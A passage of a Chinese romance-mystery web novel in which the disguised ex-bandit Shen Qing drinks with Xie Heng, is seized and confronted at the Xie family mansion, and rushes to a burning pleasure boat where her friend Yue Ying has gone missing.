沈青立在门边没有进去,院中除了她的手下在忙碌着各司其职,岳瑛正站在阶上,踮着脚往门页上贴一对金童玉女的剪影,她身边站了个颀长挺拔的公子,一手微微护在她身后,一手正给她递剪子。 等她将那对金童玉女的剪影牢牢实实贴上门页,转过头来,正好对上陈文轩的目光,陈文轩低头不知凑在她耳边说了句什么,引得她低头浅笑。 啊,这濛濛雨丝不是雨,是黏人的蜜糖化成了丝。 原来这就是情投意合的样子,以后他俩生的孩子一定好看! 沈青顿觉自己哪怕站在门边都有些太多余,于是脚底换了方向,一步一步回转沈府。 她没有撑伞,细雨无声沾上她的青衣,鬓边碎发也沾了雨意,这雨丝也不全是蜜糖化的,太过甜腻,忽然生出一点无味。 她不自觉叹出一口气来,转角处,蓦地顿住脚步。 低低青砖矮墙下,公子白衣如霜,撑了一把白玉骨柄的伞,墙头的海棠开得正灿,偶有几片绯红散漫落在月白色的伞页上,他应该在这花下站了些时候。 见她转过墙角,他手中伞柄微扬,露出那张容色如玉的容颜,一双朗然翦水的眸子,隔着雨幕与她相望。 沈青不由自主一步一步朝他走去,竟然生出一种他就是专门站在这里等她的错觉。 但他肯定不是专程来等她的,她及时停下脚步,立在墙边不再向前:“是岳瑛家案子有新的进展吗?” “有一点新眉目,”谢珩自然而然走过去将伞撑过她头顶,目光落在不远处小院门口大红的灯笼上:“婚期在什么时候?” “下月初,不到二十天了。” “这么快?” “都已经迟了三年,不快了。” 沈青重新沿着青砖矮墙往前走,谢珩撑伞一旁,不紧不慢跟着。 高门大户里的娶嫁繁琐冗长,光是三媒六聘,从纳采到亲迎,通常都是三个月往上,陈郡侯府不仅要先退了裴氏的婚约,再来迎娶岳瑛,陈文轩竟然能在短短二十天内完成这一切。 谢珩眉头微蹙,回眸望了一眼处处透着喜气的青砖小院,眼底闪过一丝冷锐,但到底没有多说什么。 “怎么了?你不是要跟我说案子吗?”察觉到一丝异样,沈青扭头看他。 “先走走吧。” 谢珩微抿着唇角,似乎真的在思索案件的事情,沈青就没打扰,暂时安静,本来她也不太想说话。 无边无际的丝雨从蜜糖变成了愁丝,细细密密结成一张网,铺天盖地,有种让人无处遁形之势,好在有一把伞撑在头顶,拢成另一个小小天地。 两人并肩走在伞下,距离太近,雨气中还裹挟着身边这人身上带着的淡淡梨香。沈青目光从雨幕中收回,不由自主落在白玉骨节的伞柄上,握着伞柄的那只手,也修长如玉,与这伞柄甚是相称。 这时候有个人走在身边也还是不错的,尽管这个人是谢珩。 “心情不好?” 得知岳瑛要再嫁的时候,谢珩心底有一瞬间说不 上来的痛快,可是他看到她从张灯结彩的小院里缓步走出,任由细雨沾湿一身,他心底那抹幸灾乐祸的冷笑又被压了下去。 看她这幅为爱自苦的模样,有点狼狈,他竟也有些无所适从。 沈青掀起眼皮,不远处已经能看到沈府弯弯檐角,她慢吞吞道:“我马上就要变成孤家寡人了,心情能好嘛?” 谢珩垂眸,见那副向来灵动飞扬的眉眼耷拉了下来,有点莫名可怜,他不动声色放慢脚步:“你不是说……要成全吗?” “诶!”沈青重重叹了口气,不知不觉也跟着放慢了脚步:“跟你说你也不懂。” 其实她自己也搞不清楚怎么突然一下心情就低落了起来,从莽山到洛京的无所适从,后知后觉在这时候体现出来了。 她真是有点儿想念在莽山与兄弟们成群结队热热闹闹的日子了。 沈府的大门就在眼前,谢珩在她转身瞬间,脱口将人喊住。 “要不要找个地方喝一杯?” “啊!?” 身边的人突然提议,她回过神来,疑心自己听错:“你说的喝一杯……应该不是说喝茶水吧?” 谢珩温润地望着她:“你想喝什么都行。” 沈青耷拉的眉眼一下子就亮了起来:“那我们去南风楼?” 谢珩面上有瞬间的沉郁,他无奈道:“除了南风楼,还有别的去处。” 沈青满脸不可置信:“在这洛京,喝酒还有比南风楼还好的去处吗?” 谢珩有点儿想叹气:“以后少跟王容混点。” 说话间,一辆宽阔马车不知从何处驶来,穿过雨幕,缓缓停在两人面前。 雨天,心情不好,眼前是英俊公子相邀,身后是空虚寂寞的府邸,真是要跟自己说一声抱歉,这没法拒绝,尽管这人是谢珩。 沈青望了眼马车上挂着的“谢”字徽记,对着扑面而来的富贵气象由衷地“啧啧”感叹两句,利落地翻身上去。 等再下马车的时候,周遭不再是沈府附近的青砖门墙,鳞次栉比的高楼阔门中,从沿街一张石铺的月洞门进去,竟然别有洞天。 闹市之中,隐没一间如此清雅别致的院子。 楼台玲珑,花木葱葱,清池杳杳,暗香习习。 无丝竹乱耳,无人声嘈杂。 沈青不由得屏气敛声,心里腹诽,不愧是谢珩啊,就喜欢带人来这种不让人大声说话的地方来。 马上有掌柜毕恭毕敬迎了上来:“珩公子。” “瑜字房。” “是,公子。” 沈青默然跟上,穿过回廊,她看见廊下小石潭里的红锦鲤跃然而出,水珠碌碌落在水面清荷上,晶莹剔透得像小珍珠。 可是这个季节为什么会有荷花呢? 她正在心中纳罕,瑜字房已经到了。 雕花木门从中间向两侧缓缓推开,春日湿寒,房中还铺着厚厚绒毯。 有两名美婢上前,伺候两人脱了靴,换上胡桃木屐。 谢珩低头不经意看到沈青正弯腰扶着婢女,抬脚换上木屐,虽然他脚上还套着足衣,看上去却似乎也还是比一般男人的脚要小上些许,可能是他本来身量就纤瘦的缘故? 他视线没有多做停留,进了房间在紫檀圆几前盘腿坐下,沈青也换好木屐,走过来在他面前也盘腿坐下。 木门缓缓合上,房间里顿时只剩他们两人。 这要是三个月前,沈青打死也不会想到,她有一天居然能跟谢珩如此闲情雅致坐在一间雅室里喝酒?这听起来比他们互相将对方大卸八块还令人匪夷所思。 过于安静的环境,让两人之间流淌着一丝似有若无的尴尬,她忽然就很后悔,刚才为什么会答应谢珩出来喝一杯? 诶,这时候就有点让人怀念谢十三的好了,就算他在身边不说话,她也不会局促。 不像现在,她只能没话找话:“没想到你们这里还怪讲究的。” 她摸了摸脚上穿得并不习惯的木屐,抬眼四下打量雅室里的布置,来洛京后也结识了一些世家子弟,她现在懂得,越是富贵气象,看起来越是简单无华。 比如现在。 “你放心,这里的墙壁都是实心的,只要你不是扯着嗓子大吼,隔间的客人听不到你的声音。”察觉到她说话一直压着声音,谢珩提醒。 沈青肩膀一垮,得,又把天聊死了。 好在这样尴尬的氛围并没有持续太久,美酒佳肴陆续上桌,她可以专注于吃吃喝喝了。 说实话,在洛京跟王容厮混了那么久,她觉得该见识过的都见识过了,但这满桌珍馐,还是能给她惊艳的冲击。 又是见所未见,闻所未闻。 天下食材翻来覆去就这么多,居然能玩出这么多层出不穷的花样来 。 她已经根本不打算去问这些菜式点心叫什么名儿了,反正都是些引经据典花里胡哨的名字,不重要。 好吃就行。 大快朵颐间,谢珩抬手将两人杯中满上。 杯,是羊脂白玉杯,酒,是碧波荡漾澄澄如翡翠的颜色,沈青记得她原先喝过艳如胭脂的“美人留”,全然没见过如此翠色欲滴的佳酿。 “这酒名叫‘细腰舞’”。 她话还没问出口,有人替她先答了。 “细腰舞。” 她重新将这名字在唇齿间咀嚼一遍,目光透过绿纱垂帘,窗外小院中絮絮春意,杨柳轻慢,如美人细腰起舞。 “如果我喝了这酒,真跳起舞来怎么办?” 谢珩被她劈头这么一问,还真沉思了须臾:“你……想跳便跳吧。” 反正每次醉酒更跳脱的事情都做过,跳舞实在不足为道。 沈青根本没什么顾忌,反正每次她都会断片,做出再惊世骇俗的举动她也不记得,于是端起酒杯认真尝了几口,如果说美人留是一个绝色倾城的佳人艳光逼人,那细腰舞就是一个温婉妩媚的佳人循循可亲。 都是世间不可得的仙露琼浆啊。 她突然想到一个极其严重的问题:“这顿谁买单?” 谢珩望着她那张微微透红的脸上写满了“我可没钱”四个大字,给了她一颗定心丸:“放心,这院子是谢家的产业,不会让你买单。” 沈青简直倒吸一口气,她知道谢家很富有,但永远要比她想象中更加富有。 “那我实在是不明白了,你说你在洛京过着这般富贵安逸的生活,非要苦哈哈千里迢迢跑去渝州做什么?” “我……”谢珩被她问住,抬眸望着眼前人,嘴里的话变成了:“如果不去渝州……” “等等!”沈青实在受不住他那灼灼目光,及时打断了他:“你可千万别说为民除害!” 像是如梦初醒,谢珩喉头微动:“那倒不是。” 他自顾自端了酒杯浅浅抿了半口:“喝酒吧。” 对于沈青这种酒量极差的人来说,她更喜欢细腰舞的温醇平缓,可是温柔刀,取人性命是不知不觉的。 很奇怪,她发现自己并不反感跟谢珩在一起喝酒,甚至也不害怕自己在他面前醉得毫无感知。 可能是两人现在互为同僚,他对她没有危险性了。 在需要的时候,或许可以短暂地把他假想成谢十三。 感觉到自己差不多了,沈青缓缓靠上身后的软榻,怀里抱着一只木枕,等明早一醒,万愁消弭。 这便是美酒佳酿存在于世间最大的作用。 迷迷瞪瞪中,她竟然看见谢珩朝她伸出手,像是殷切地邀请:“过来。” 他的声音也低缓清浅,牵引着她重新坐直了身子,往不远处那个相邀的人身前靠。 可是脖子上的这只脑袋也太沉重了,一个小小圆几,中间像是隔了天堑,沈青果断放弃,舒舒服服重新趴下。 谢珩目光黯淡下来,以往只要她喝酒上头,哪怕当时在渝州大牢里,她整个人也会像牛皮糖一样往身上黏,而不像现在,连唤都唤不过来。 他只好自己倾身靠过去了些,好让自己能看清她的面容。 “沈青。” 看到她眼睑微合,他尤不死心喊出声来。 “干嘛!?” 沈青不满 地瞪眼,目光中一片涣散望着眼前扰她好梦的人,显然已经不认得人。 谢珩盯着她,迫使她的目光也看向自己:“你竟然这么伤心吗?” 伤心到宁可一个人躲在这借酒浇愁,也要成全别人的两厢情愿?他心目中的沈青绝不是这样,所以他越是为了岳瑛一反常态,他才越觉得心绪难平。 她对他是这般洒脱自如,对别人却是那样愁肠百结。 “谁伤心了?我不是伤心,我是很想莽山的那些兄弟们!”沈青嘟囔着回应他。 想念莽山? “你不喜欢洛京吗?” “洛京……”沈青撑眼想了一会:“其实是不怎么喜欢的。” 谢珩顿了顿,心中冷斥,不喜欢,但也不妨碍你玩得乐不思蜀。 眼看她马上要睡过去,他莫名其妙急着追问:“所以你很喜欢岳瑛?” 话音刚落,谢珩连自己都觉得好笑怎么会问出这样一个问题,他对岳瑛情意几何,只怕是个眼盲之人都能看出。 果然,这次她答得不假思索:“那当然喜欢啊,长得又美,还知书达理的,谁不喜欢。” 就这样吗? 长得美,知书达理,听起来并不是多不可替代的要求。 “那……”一个问题就在嘴边,谢珩斟酌了一会,才问:“你讨不讨厌谢……” 他再次顿住,在两个名字间纠结。 还没有做出最后决定,靠在软榻上的人已经发出细细轻鼾,再也问不出什么了。 谢珩微怔,盯着她醉后微霞的面容看了会,最终无声地叹了口气,结束这卑劣的试探。 他将人放平在软榻上躺平,弯身替她脱去脚上木屐的时候,手掌握在她轻细脚踝上,动作猛然一下顿住,那只一直潜伏在深渊边不可见人的鬼魅,不知何时,无声无息爬了上来。 他惶然取过一旁的丝毯给榻上的人覆上,自己转过身立在窗边杵了好一会儿,帘外微风徐徐抚平心中点点燥意,那只鬼魅被他重新按回深渊。 门外响起几声有节奏的敲门声。 他的声音疏淡得听不出半分波澜:“进来。” 雕花木门再次缓缓从旁打开,是鸣山立在外面,他没有进来,颇有些古怪地看了一眼在榻上酣睡的沈青,见自家公子站得远,才放心下来:“公子,我们查到了。” 谢珩闻言神色微凛,他下意识去看沈青,榻上的人毫无反应,他当机立断:“现在回大理寺。” 走到门外,他招手唤来掌柜:“照顾好里面的人,别让人靠近这间房。” 等掌柜应下,木门被重新合上,谢珩才领着鸣山离去,直到转过回廊,再看不到那抹清逸身姿。 榻上睡得正天昏地暗的沈青对此浑然不觉,她抱着怀中木枕,枕着透过纱帘洒进来的细湿的春风,舒舒服服翻了个身。 直到天色愈晚,房中也渐渐昏寂下来。 清净怡人的院落,被一串急促而显得粗鲁的脚步声打断,掌柜在门口跪了下来:“不行,这样珩公子会怪罪下来的!” 来人说话掷地有声:“这是二爷的命令。” 房门终究是被再次打开,沈青酣睡榻上,榻前多了两道身影。 一道身影道:“听说这悍匪凶悍狡诈,虽然现在人不清醒,别路上出了什么岔子。” 另一道身影响起:“那就先把他打晕。” 沈青颈后狠狠挨了一下,细细轻鼾顿时停住。 第45章 第45章绝不可能跟一个断袖痴缠…… 沈青在一种极不舒服的状态中醒过来。 鼻下人中被人狠狠掐痛,整个人脑袋也晕晕沉沉的,但是眼前所见,让她顾不得周身不适,她抬手撑着手边扶椅,缓缓站起身来。 此时她置身于一间极宽敞肃然的厅堂中,厅中左右一丝不苟排了两列座椅,看起来年长贵重些的人物落座于前,而年轻些的则靠后或者只站在后边。 这样长幼有序的森严等级让人感到压抑极了,不过她在打量他们时,厅中所有人的目光也都落在她身上。 男生女相,果然妖孽。 沈青扬了扬下巴,直接问正中主位上的中年男子:“阁下哪位?” 那人不用亲自开口,立在他身边的随从凛凛作答:“这是我家二爷。” 沈青冷笑着“嗤”了一声,在这肃雅的厅堂上显得格外突兀:“你连名字都不报一个,我哪知道你家二爷是谁?” 那随从变了变脸色,惊异于此人的无礼,忙又警告她:“这里是谢氏主宅,沈公子还请自重。” 谢氏主宅? 沈青慢条斯理地揉了揉太阳穴,想起来自己先前不是在跟谢珩喝酒吗?怎么莫名其妙到谢氏主宅来了? 她抬眼认真四下逡巡了一番,没有看见那道熟悉的身影。 “什么叫我请自重,我可没招惹你们,你们请自重好吗?谢珩呢,我怎么到这里来了?” 谢府的随从哪见过这样在厅堂上呼大喝小的,正酝酿要怎么去应对,主位上那位二爷开口了:“果然匪气悍然,野性难驯。” 沈青目中渐渐恢复清明,目光凌凌望向主位上的人。 谢家二爷,她知道,是谢珩的二叔,当朝丞相谢道清,果然丰神俊朗,不怒自威。 说是谢家这一代的掌舵人也不为过。 沈青又重复问了一遍:“谢珩人呢?” 谢道清垂眸冷眼看着散漫随适立在厅中的人:“既然你说到谢珩,那我就代表谢氏一族郑重告知你,谢珩将来会是谢家的家主,绝无可能继续跟你厮混下去。以后你若你再敢靠近他半分,别怪我们谢家对你不客气。” 他说起话来声音低缓,却字字带着不可抗拒的压迫。 沈青抬手挠了挠发顶的头发,他们都会错了意,她只是没弄明白自己为什么喝酒喝到这里来了,他们以为她在对谢珩纠缠不休? 她慢条斯理笑起来:“现在来警告我不要靠近谢珩?当时他为了剿匪,委身于我,榻上承欢的时候,你们怎么不警告他,让他离我远点?” 这惊世骇俗的言论让满座衣冠直倒吸一口冷气。 “噢,现在也还来得及,”趁还无人反应过来,她补充道:“把他关起来,让他少出门招摇,他不就没机会出来跟我厮混了吗?自己家的人管不住,还想管我头上?” 谢家的肃寂华堂,近百年来应该无人敢在此这般大放厥词,在场所有人都屏气敛身,看向沈青的目光都带着几分毛骨悚然,她唇畔只勾着几分漫不经心的笑意,于是众人又小心翼翼把目光投向主位上的谢道清。 谢道清一张原本平静而不失威严的面容,此时也染上一层沉郁,即便是当今孝武帝,跟他说话都带着三分敬畏,他岂能容一个毛头小子在谢家厅堂如此放肆。 “所以你是准备敬酒不吃吃罚酒了?”他发出最后的询问。 沈青简直是匪夷所思:“你跟我说刚刚这是敬酒?” 她马上又意识到:“所以你们谢家都是不听人话的吗?管束自家子弟,不要管到我头上。” 她亦将先前的话着重重复了一遍,唇畔笑意已然消失。 锋芒相对间,谢道清不再废话:“拿下他!” 来人鱼贯而入,将厅堂团团围住,几柄短刀齐刷刷抵在沈青面前。 不是家仆,是身带软甲短刀的侍卫。 沈青眼中还是闪过瞬间的惊异。 赫赫谢府,竟然权势滔天到这般地步,一个臣子之家,府上竟然能公然拥有自己的亲兵。 她眼中闪过一丝桀骜乖戾:“你们确定要动我?” 最开始的震惊和愤怒过去,此时的谢道清也还没做出最后决定,两人不动声色的对峙间,厅堂满座沉默得可怕。 “既然沈公子无心纠缠,事情还是不必再闹大了。” 沈青正在脑海里斟酌,如果强闯出去,应该把这些侍卫们伤到什么程度麻烦最小,一道清润的声音打破了满室整肃骇然。 她回头看去,是一位容貌气度极为清雅的 妇人,这也是她今日莫名其妙来这鬼地方,听到的算是最中肯一句话了。 她不由得冲那妇人露齿一笑,乖张狠戾的悍匪,一下又变成一个人畜无害的小公子。 “方才此人口不择言说的什么话,想必大嫂也听得清楚,怎么大嫂要纵容自己亲子继续跟这妖孽厮混下去吗?别怪我没提醒,纵子如杀子,大嫂可别成谢家的罪人。” 沈青这下笑不出来了。 大嫂?亲子?这妇人是谢珩的母亲? 大意了,她刚才只注意了这妇人容貌美丽娴雅,没有意识到她眉眼间的清疏淡雅,跟谢珩简直如出一辙。 她哼唧着别过头去:“不愧是当丞相的人,就是公私分明,天下所有好的都是你们谢家的,不好的就都是别人的罪过。” 谢夫人本意是觉得不该把事情闹大,于谢珩也不利,没想到这悍匪竟然拐弯抹角出言维护自己,不由得神色复杂多看了她一眼。 这下谢道清终于下了最后的决心:“给我把他拿下!” “住手,谁敢在府上动用私刑?” 清清落落的声音先传入厅中,沈青愕然一瞬,原本正要挺身迎战的她抬眼望去,那道白衣清贵的身影出现在视线之中。 印象中,他脚下步伐永远都是不疾不徐的从容,现在她只见他大步跨过了门槛,原本举刀抵在她面前的侍卫纷纷退开给他让道,直到他站到自己面前,咫尺之间,她能感受到他因为步伐急促而微微紊乱的呼吸。 谢珩浑然未管周遭落在他身上的各色目光,他站定在沈青面前,视线上下将人逡巡一番,确定面前的人安然无虞,才开口道:“抱歉,我有急事回了趟大理寺。” 他没有做更多的解释,不知是不是错觉,沈青总觉得他声音里有一丝极为压抑的喑哑,难道真的是很在意她的安危吗? 她也没让自己多想下去,顿了顿:“既然人回来了,关起门来管教子弟你们爱怎样怎样,可别把我再牵扯进来了。” 说完摆摆手,头也没回,与谢珩错身而过。 有侍卫犹疑要不要上前将人拦下,被谢珩一个眼刀斥了回去,在观察到谢道清默许的神色后,侍卫们默默给沈青让开一条道。 沈青面不改色从尖刀从中穿行而过,大咧咧迈出谢府正厅的门槛。 一旁的谢夫人欲开口提醒儿子,谢珩温和看了她一眼,示意她安心,她会意地点点头,不多操心。 主位上,谢道清依旧不动如山。 只不过,站在厅中跟他对峙的人,从桀骜不驯的悍匪换成了清矜雅正的公子,前者盛气凌人,后者亦气势迫人。 他抬手端起手边的茶盏,隔着那一层薄瓷,还能感受到内里茶水的灼人:“如果没记错的话,从大理寺回谢家主宅,即便骑马,也需一盏茶的时间。” 而沈青,从被掳至谢府到离开,连半盏茶的时间都不到。 当然,如果没看错的话,刚才他们两人短暂的交集一瞬,明眼人都能看出,谢珩的主动在意,沈青的毫无所谓。 外头都传在渝州,是这悍匪强迫纠缠,何以眼见并不如此? 清正自持的名门楷模,绝不可能跟一个断袖痴缠。 他目光充满审视,等待对方给他一个合理的答案。 谢珩并不在意他的试探:“二叔不就是想召我回来吗?” 谢道清眸中闪过一丝了然,那些传言竟都是假的,他三番五次召谢珩回府都未果,掳了沈青,不过半盏茶,人就来了……他几乎能确定,通过沈青,可以从一定程度上拿捏他。 他叹了口气:“岳闻渊的案子,你查到哪一步了?” 谢珩心中冷笑,确定了这才是今日谢家这般兴师动众的最终目的,而根本不是为了告诫沈青或者试探他什么。 “不巧刚刚才查到,岳闻渊的冤案,背后是陈郡侯府一手谋划促成的。” “那你不要继续查下去了。” 谢道清语气不重,却不容置疑。 谢珩逼问:“这件事情,背后有多少四世家的手笔,或者说……有多少谢家的手笔?” 他目前查到的东西还不多,虽然没有确定的证据,但是从陈郡侯府和四世家的关系,以及他接手此案来,叔父一次一次地催促,让他断定,此案背后谢家恐怕脱不了干系。 谢道清当然不会回答他,只是用命令的口吻再次重复了一遍:“我劝你这个案子到此为止,这样无论对谁都好。” “对谁都好?”谢珩声音越发清冷:“对含冤而死的岳闻渊也好吗?对死于流匪手中的岳家满门也好吗?” “人都已经死了,你再翻案没有任何意义。” 谢珩冷冷往后退了两步,环顾四周,满座都是他最熟悉的亲人族氏,他自嘲地笑了笑,重新抬眼凌凌望向主位上的人:“二叔不就是想从我这里得到一个定论吗?那我今日便告诉二叔,谢家百年世家,清正之门,我身为谢氏子弟,又任朝廷大理寺卿,为冤者昭雪,粉身碎骨,绝不可移。” 谢道清难得地沉默了。 他这个侄子,在父亲膝下长大,无论品貌还是能力,洛京中的确是无人能及的出挑,是谢家当之无愧的接班人。 只可惜,到底年轻,还是稚嫩了些。 “正因为我们谢家是百年世家,你身为谢氏子弟,肩上第一重任便是全力维护家门,这个案子,你绝不能再继续查下去。”谢道清用长辈之尊警告他。 “何况普天之下,所有世家都同气连枝,一荣俱荣,一损俱损,你想翻案,对谁都没好处。” 谢珩知道这对话不必再继续下去,转身便走:“我今日该说的话都放这儿了,二叔随意吧。” 他疾步往厅堂外走,身后再次传来谢道清的声音:“这次我只是客气地把沈青请到谢府来做客,下次再把他请到哪里去,我就不能保证了。” 谢珩脚步猛然顿住,他侧过头,眸中浮现一丝凛然杀意。 “沈青此人在渝州经营数年,我也屡次三番败在他手上,二叔若想与他为敌,我劝二叔掂量清楚。”他语气还算克制。 “就算我一时动不了沈青,但他不是还有个夫人?对了,他好像还有个义弟,在禁军当差?” 谢珩没再回应,沉默着迈出最后一阶门槛。 “你若继续一意孤行,迟早会后悔的!” * 谢府主宅高堂阔宇,庭院深深,出了重重叠叠的门庭,雨还没有停,外面天色早就漆黑一片。 沈青出了谢府,手上一盏照路的灯笼也没有,不过夜中行路对她来说实在太稀疏平常,她冒着春夜浸润的雨水,慢慢往沈府的方向走。 灯火通明的巍巍谢府被她抛在脑后,一辆檐下点灯的马车不疾不徐追了上来。 她回头一看,原来是个老熟人。 鸣山坐在车头,也一脸挂满了老大不情愿的样子:“公子说了,务必将你安全送回沈府。” 刚才在谢府跟众人对峙的一身劲儿过去了,直到走了出来,沈青才后知后觉摸到自己后颈的肿痛,看来谢家有病的,还真不止谢珩一个。 酒其实也没醒得特别彻底,她确实懒得再走那么长的路,一声不吭上了马车。 宽阔的马车里这次只有她一个人,她想也没想,四仰八叉倒头就睡,直到听见外面鸣山喊她的声音,她才打着哈欠下了马车。 迷迷瞪瞪回到家中,经过院中,一眼就瞥到了岳瑛黑黢黢的窗户。 “夫人这么早就睡了吗?” 守在不远处的小厮 答她:“夫人今天还没回来。” 没回? 青砖小院那边夜里肯定无人布置,以岳瑛这种大家闺秀的性格,也不会跟陈文轩单独在外逗留。 不过也很难说,说不定岳瑛在莽山那几年,也没那么在乎这些乱七八糟的世俗规矩了呢? 沈青没有多想,伸伸懒腰穿过院子,准备回房大睡特睡。 身后有小厮奔呼进来:“不好了!夫人的游船着火了!” 第46章 第46章这是你第一次喊我的名字…… 沈青赶到湖边的时候,看到的场景就是乌沉沉的湖面上,一艘船身已经被烈烈火光包围,黑夜中,一片雨幕被火光照得惊心动魄。 除了烧得正旺的那艘船,另一艘画舫不知为何也失了控,船头直挺挺将那艘着火的船拦腰撞断,画舫的前端也开始燃起大火,远远看去,画舫上有人在来回喊叫,有人干脆已经跳水逃生。 岸边也是一片奔忙哗然。 沈青盯着水面上那一片熊熊火光,向小厮确定了岳瑛正是在那艘已经快烧得只剩船架子的船上时,有一瞬间,耳畔根本听不清身边的人在喊叫些什么,整个脑子里都是一片嗡嗡作响。 天旋地转间,她勉强稳住身形,很快让自己镇定下来。 船上看起来应该是没有人了,何况谁也不会白白在船上等着被烧死,岳瑛肯定是已经提前跳水了,跳水了,那就有生机。 想到这,她当机立断,倾身往冰冷漆黑的湖面纵身一跃。 只不过她双脚刚离开地面,手腕就被人狠狠攥住,一道强劲的力道将她瞬间拽回,她重心不稳,撞到一个人怀里,一抬头,对上谢珩那双寒凉得骇人的眸子。 “你想干什么?”谢珩清醇的声音也镀上一层寒意,随着他说话的声音,手掌也更加重了力道。 沈青腕上被他攥得一阵剧痛,她本能地挣开:“干什么?下水救人啊!” 话说完了,手上的钳制没有挣开,那力道攥得她生疼。 “你的身体不能下水。” 沈青懵了懵,她根本没有想到这一茬,可是痛苦的记忆突然被提及,身体本能就会开始退缩,她只是站在水边,都感受到这黑窟窟的湖水里,裹挟着沉寂一整个冬天的寒凉,淙淙往脚底心钻。 她很清楚自己的身体不能再下水,可是那又怎样,岳瑛还在水里。 “你放开我!”她厉声警告。 但是不知道这人手上怎么会有这么大力气,她用了几下蛮劲挣脱,竟然没有挣脱开,她恨不得将人一起带进水里,反被他圈住,更加彻底钳制住她。 “谢珩,我警告你,今晚但凡岳瑛出了什么事,我不会放过谢家的!” 在谢珩出现的那一瞬间,她忽然就捋明白了,谢家根本不会无缘无故兴师动众地将她掳过去警告几句,谢家真正用意是调虎离山,好趁机对岳瑛下手。 她唯一不确定的是,谢珩在这件事中起了怎样的参与作用。 她用力推搡他,却被迫牵扯进他直勾勾看过来的眼神里,几乎要溺毙在这带着痛楚欲言又止的情绪中。 “沈青,这是你第一次喊我的名字。” 沈青完全没有反应过来:“什么第一次?你非要在这个时候说这种话吗?” 话音刚落,她看清他眼神中有一丝期盼被湮灭的沉寂,忽然想起,已经是很久很久以前,在渝州的清乐城,他也是攥着她的手腕,她嬉皮笑脸道“这是他第一次喊她的名字”。 她也想起,“谢珩”二字在她口中说过无数遍,这是她第一次用这个名字来喊他。 今日情景,竟恍如当日。 她脸上热了热,停止挣扎,语气格外生硬:“那你放开我,我要下去救人。” 谢珩整个人都黯淡了下来,她的失控和牵挂,永远只在另一个人身上。 他没有说话,一张俊脸比这春寒料峭的湖面还要冰冷,只攥着她不松手。 如果想要挣脱他的钳制,沈青有千百种方法,她隐隐感觉到这人似乎有点赌气的意思,赌她不会下重手伤他? 可是人命关天,不能怪她。 她冷冷警告:“你不松开的话……” 谢珩似是很不愿意听她说出接下来的话:“这茫茫湖面,你一个人去哪里找?” “不用你管!” 谢珩认命地轻叹一声:“我一定帮你找到她。” 这语气是久违的清疏,眼前这人身上又恢复了几分她所熟悉的谢珩模样,她下意识抬眸去看,四下不知何时火光大亮,映得他清隽无双的玉容明明暗暗。 鸣山带着急促的呼吸跑过来:“公子,我们手上的亲兵、禁卫北军、京兆府的人、还有巡城武卫都集结齐备了。” “下水救人,生要救人,死要见尸。” “是。” 鸣山领命而去,很快,沿湖岸周出现不同官制服饰的士兵衙役,正有条不紊开展救援。 绵绵冷雨中,沈青顿觉自己清醒了不少,刚刚急着救人,一股脑只顾着往水中跳,不比谢珩,在如此短时间内能运筹一切。 “多谢。”她声音变得低低的。 “刚才险些按不住你。” 听出他语气里的嘲讽,沈青略有点心虚:“我这不是关心则乱嘛。” 谢珩也没有再看她,目光沉峻盯着湖面上的种种动静。 好一个关心则乱。 沈青也望向湖面上搜救的船只来来往往,心里的焦躁根本按捺不住,正酝酿着要怎么跟谢珩开口要一只船,一只两头弯弯的窄船荡到眼前。 窄船的船身细窄,方便穿梭水中搜救,通常船尾有一人划船,船身便只能容纳两人站上去。 她不动声色觑了一眼谢珩,谢珩只淡然道:“上船吧。” 两人无话,一同跨上窄船,上船的那一瞬间,沈青明显感觉自己手腕几乎要被捏断。 窄船在水面上飞快行进,离那艘着火的船越来越近,湖面上的细雨微风扑在脸上,都夹带了烈火的热意。 腕上的疼痛让她生出一丝错觉,好像只要钳制她的手一松开,她就真的会往水里跳似的。 “诶,”她见船尾的亲兵专心在划船,终于戳了戳谢珩:“我手要断了。” 谢珩不知道盯着水面在想什么,被她这么一提醒,犹豫了一下,终于还是放轻了一点力道,但始终没有完全松开。 没有办法,只要沈青往水边一站,他心里就发憷得厉害。 他手掌依旧轻轻圈着沈青的手腕,这才发觉一直攥得太紧,手掌都有些发麻了。 沈青腕上微松,这会儿也不觉得疼了,原来手腕早就麻得没有知觉了。 她忍不住侧过头瞥了一眼身边的人,但是他的目光始终注视着前方,她只好也重新盯着水面,满面狐疑,他难道是在紧张自己吗? 窄船很快靠向那艘着火的船,整个船只烧得几乎连船架都不剩,根本不可能再上这船。 撞上来的那只画舫还只是船头燃了大半,先上来的兵卫衙役们现下将火势扑灭,画舫上的游人也被营救下去,还剩一些人在清理现场,周围水下的船只依旧在打捞救援。 将沈青安全送上画舫后,谢珩终于松开她的手腕,紧跟在她身后上了画舫。 “公子,今日天气不好,游湖的船只视野不明,所以这画舫才撞上了前面这艘船,那船身着火,是两船撞击的时候将烛火撞落在引燃了船只。画舫上并无游人伤亡,现下都转移离开,被烧的船只救援还在进行中。” 一上来,就立刻有亲兵上前向谢珩汇报。 沈青一颗心彻底揪起来,印象中,岳瑛是不会水的。 她举目望向茫茫湖面,搜救的窄船来来往往,时间每流逝一瞬,她的心就往下沉一分。 “阿瑛……” 焦灼中,耳畔传来一阵细细呼声,这声音有种莫名的熟悉,沈青顿了顿,循声望去,桅杆旁缩了个人影,她几乎不敢认,明明白天还是丰神俊朗的公子,这会儿狼狈惶惶,鬓发散乱,锦衣狼藉,眼神只盯着沉沉水面,看不到旁人。 沈青那颗被揪起的心被狠狠碾碎,她踟蹰着,居然有些不敢上前。 毕竟白天的时候,她还看到两人正在布置新婚的院子,耳鬓厮磨的场景历历在目,她实在不敢想后面岳瑛可能会出现的意外。 谢珩走到她身边,也看到了眼前一幕,直接开口询问:“岳瑛是从哪里掉 下去的?” 陈文轩闻言抬头,一双眼睛红得骇人,看清来人,眼中多了几分希冀的神采,忙指向两船相撞的位置:“就是这里,当时我和阿瑛就一起站在甲板上说话,画舫冲过来的速度太快,我来不及反应……” 说到这,他正色提醒道:“不用大费周章这样整个水面去找,她一定就在画舫附近,珩公子,事不宜迟,你赶紧把人手船只都调集到画舫四周来吧!” 他一开口,因为过于悲伤的嗓音,仿佛被烟熏过一般。 听他说得在理,沈青忙偏过头,下意识看向谢珩。 等了须臾,谢珩完全不为所动,目光有些沉峻地看着那个缩在桅杆边继续呜咽得不能自已的公子身上。 沈青急切起来:“谢珩?” “我觉得,岳瑛多半是被你推下去的。” 他缓慢开口,一锤定音。 明明是温润平和的声音,却如一记炸雷,沈青脑中再次一片嗡嗡。 